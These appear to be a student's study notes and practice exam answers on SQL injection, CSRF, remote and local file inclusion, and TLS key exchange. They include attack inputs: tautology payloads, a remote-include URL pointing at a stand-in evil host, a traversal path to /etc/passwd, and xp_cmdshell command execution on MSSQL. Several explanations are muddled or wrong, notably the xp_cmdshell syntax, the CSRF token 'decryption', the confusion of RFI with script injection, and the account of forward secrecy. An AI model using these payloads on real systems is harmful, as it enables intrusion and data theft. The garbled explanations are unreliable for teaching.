SQL Injection

is a comment. - - means ignore everything else ‘ is just a quote to encapsulate code as strings.

Union – if unioning statements, that you need results from both sides of the union to have the same numbers and the types need to match. Can get around it in SQLi using null (represents a character or a number) number of items is important

(**Important**) Metadata – is stored in the database just like regular data.

Show what it might result in (always trues). Come up with select statement that it Could lead to

If it’s a numeric field, you don’t need the ‘ you put 1=1

Show advanced options

(**Important**) Use sp_configure to do command injection. Only works against MSSQL

(**Important**) Don’t forget - - at the end of commands

Php shell learn what it is – Php environment where you ca run commands

Start a service - command injection. Example of what can be done.

Outline how metadata can be found – SQL map, after finding page vulnerable. Find database, find tables in db, fint column sin that table. (important) Usually done with union based sql injection.

Fingerprinting a database – why is it important? Different command works on different flavours of SQL. One of the first things you do find out what type of db is being used.

Send an erroneous string, look at error message to find out type of db. Just put in a ‘ into a form field.

Blind sql injection – what is the different between this and normal? That you must use blind if you are getting no help from the db (no error messages) – time delays (Wait for, sleep), yes/no type queries to see how it handles it. Analyse form response pages.

SQLi Defence

Parameterised queries, prepares statements

Need to escape input, need to use param queries.

Could give code that doesn’t do params, how could you change to secure? EAMPLE IN NOTES

Effect of param query – if the user puts in ‘ or 1=1 then ‘ or 1=1 is searched for. What’s going in as code is treated as data. User can put in input and they enter code and it goes back into your system as code. Param query takes whatever the user puts in but treats it like data.

query.setString(1, userid) select if form users where userid=?

CSRF

What is it? - an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated potentially using social engineering methods to expose to the attacker's code.

How to detect -

Preventing CSFR

Several techniques. Some work and some don't. The ones that work 100% have overheads.

Takes the cookie (session) and puts in a number for the action, puts it all together and hashes it as SHA1 or whatever and puts it in as a token.

Attackers put something on forum, when visitor visits the forum it causes money to be transferred. Bank acct open on 1 tab, forum on another, on the forums there is code and it automatically causes transfer. User needs bank session open at the same time. Browser will go to the bank and include the cookie since the user is already logged in. To protect against it we include an extra token (CSFR) which you must supply to transfer money. When the hacker put the code up they didn't have the token (or it is expired).

1. POST – no protection
2. Confirmation pages – no protection
3. Http referrer header – low protections (validates request source)
4. Single non-changing get/post token (CSFR) for entire session Why does it protect? Attacker needed to know this when they created their code on the forum.
5. Use a hashed session and action specific value token for each request
6. Captcha – is a good protection but it is poor form the user experience view point. They can be broken.

Overheads in that each token must be stores on the site.

Double submitted cookie – cookie supplied as a token- Double submitting cookies is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value are equal.

Remote File Inclusion

is a popular to attach web applications. Attackers includes a remote file through a script on a server. Remote files served as plain text rather than compiled php. Remote text is pulled for inclusion then compiled by php which interprets the text rendering it as php locally. Allow vulnerable application to run malicious code on the server.

It is rarely successful. Typically requires old configurations. Register globals (get, post, cookies,)

To succeed it needs 2 vulnerabilities.

1. Improper input handling – identify when a url is being passed as a parameter payload.
2. Application misconfiguration – in PHP register has been enabled.

Used in bot net herding - Executing botnet code on server to use its resources for DDOS.

Used in malware distribution – inject malicious JS into web pages causing clients to run malicious code such as trojans.

4 Approaches

1. Url contains an IP address
2. Use of PHP functions
3. Urls with training question marks
4. Offsite URLS

```
<?php

$sample=$_GET['variable_1'];

include $sample;

?>
```

http://www.example.com/hello.php?variable_1=http://evilsite.com/Evilscript.txt

Local File Inclusion

Including files on a server through the web browser.

Executed code stored on server which may allow attackers to access private information.

```
<?php include_once('inc/'.$_GET['action']); ?>
```

If user supplies “../../../../../../../etc/passwd” as the 'action'

To mitigate this you can append file extension to the code (.php)

Attackers finds vulnerability on a server. Finds a photo upload for on the same site that allows uploading php scripts. Uploads php web shell and executes it. Uploads and compiles programs to gain control.

Countermeasures

- Firewalls
- Disable php config
- Input validation

(Important) Key exchange

Key exchange (also known as "key establishment") is any method in cryptography by which cryptographic keys are exchanged between two parties, allowing use of a cryptographic algorithm

Users have 2 keys. Private key is needed to decrypt things encrypted with the public key and vice versa. Knowing public key does not reveal the private.

If someone knows your private key they can pretend to be you, intercept encrypted communication.

When generating key pairs. At the same time.

Mainly used for key exchange – Key exchange

Public key cryptography (uses 2 keys) – Addressed how we exchange the keys -

Symmetric – same key encrypts and decrypts – problem is how are the keys exchanged?

Brute force attacks – large key size – trying all possible keys – 128 bits is fine for symmetric cryptography.

Key Exchange is where alice needs to get the key to bob securely.

RSA Key Exchange

Aliice invents the session key and encrypts the message with that (AES key) send this to Bob. Bob needs the session key. She encrypts the session key with bobs public key which is called a digital envelope. Bob decrypts this with his private key and he has the session key.

This is secure and fast. It is secure because only Bobs private key can decrypt it. Someone listening can see it but cannot decrypt it. It is fast because, while public key is slow, you are only encrypting 128 bits.

A B

public

----------←---------

---------←----------

---------→----------

Diffie Hellman

Public key technique.

Alice sends the cypher text without the digital envelope. Alice and bob both do calculations and tey end up with the same key. The need to exchange public keys. This calculation gives them both the same value which is the session key and is used to encrypt the message.

A B

pulic

----------→----------

public

----------←----------

Calc calc

Differences

In the RSA approach alice does not need bobs public key.

In diffie Hellman they both invent a public and a private key for each transition, While with RSa you have your public key for ages.

Diffie Hellman leads to Perfect forward secrecy. If I found out bobs private key then I can decrypt the messages in RSA because it's always the same key. With Diffie the keys are per session which is perfect forward secrecy. It means they can decrypt it sometime in the future.

How does she know that the public key belongs to bob? Alice gets a certificate confirming that Bobs Public key is his.

SSL overview - Handshake

Starts with hello, server sends public key cert. client gets it and it happy that the [public key is belonging to the server as it is signed by a certifying authority (globalsign). If it checks out ok then the client invents the session key. The client encrypts the session key with the server's public key.

Uses secret key established in the handshake protocol to protect communication between client and server.

Cypher Suites

Some suites shouldn't be used. Algorithms for key exchange.

PKI Steps

A sends message to B

A gets B's digital certificate and checks if it is valid + not times out

A extracts B's public key from digital certificate

A invent's a session key Diffie Hellmans

Question 1.

a) The ‘ after Robert indicates to the SQL interpreter that the following characters are to be treated as a string. The following ; indicates the end of the statement so the SQL interpreter will potentially parse the following characters as a new command. In the case where a command is entered and passed to some server side code as a form input SQLi injection may happen. The server side code may be using the inputs as part of an SQL statement but concatenating the variables (inputs) onto an SQL statement string like the example below:

   String query = “Select * from Users where username=’” + username + “’ and password=’” = password + “’;”

   This string would then be executed as an SQL command resulting in the desired functionality. The issue arises when, as per the question, another SQL command is embedded in the form input following a ‘. Since the ‘ treats the following characters as data it might simply concatenate the SQL command onto the string above . This may result in the command being sent to the SQL server and executed as an SQL statement.

   In the example question this SQL statement would cause the SQL server to DROP (delete) the table named “USERS” which would result in all authentication systems failing and the system going down.

   b) If one wished to execute an OS command on MSSQL instead of a SQL statement in the above example you would use the string “sp_configure ‘exec xp_cmdshell” to create a command shell into the host operating system. This would allow the attackers to execute arbitrary commands on the host server.

Question 2.

a) In SSL the client contacts the server with a “hello” message. The server responds to the request with a public key certificate. The client receives this and verifies that it is valid and signed by a certifying authority. If this checks out them the client invents a session key. This key is encrypted with the server’s public key and communication begins using this key to validate all subsequent transactions.
b) Perfect forward secrecy refers to the security of data in the future. Using standard RSA key exchange, a user might have the same private key for a long period of time which, if discovered would enable an attacker to decrypt all past data which used that key. With ephemeral Diffie Hellman a new key is created for each communication so discovery of the key would only lead to access for one communication.
c) In EDH both users exchange public keys and perform calculations on the data using these keys combined with their own private keys.

Question 3.

Using a hashed session and action specific value header protects against CSRF by creating a new session key for each action that the user does with the server. Each page has a specific value and the

server provides a secret value (salt) . From these 2 values the action specific value is created and this is then hashed with the session key which creates the CSRF token. When this request is sent to the server, the server uses its own secret key to decrypt the CSRF token to validate that it was valid.

This prevents CSRF in that, were an attacker able to listen in and discover the session key, they would not be able to use it to make new requests as the key would only have been valid for one request.

Question 5

Remote file inclusion is the process of including a remote malicious file existing on one server (attackers) on a remote server (Victims) by exploiting the PHP include function.

This function is used to bind variables and code to rendered HTML pages created from PHP server code. It may be used to include a referrer link into a hidden form field to track user activity. In this case the PHP code would extract this variable from the GET or POST parameters and Include it on the rendered page as a form field.

In the case where the GET/POST variables are not validated or sanitized, instead of the intended referrer link the code was expecting, an attacker could submit a <script> tag encapsulating a link to a malicious script file on the attacker's server. This, when rendered to the HTML view by PHP would execute on the user's browser as if it were originating from the host server and bypass same origin policy and other protections.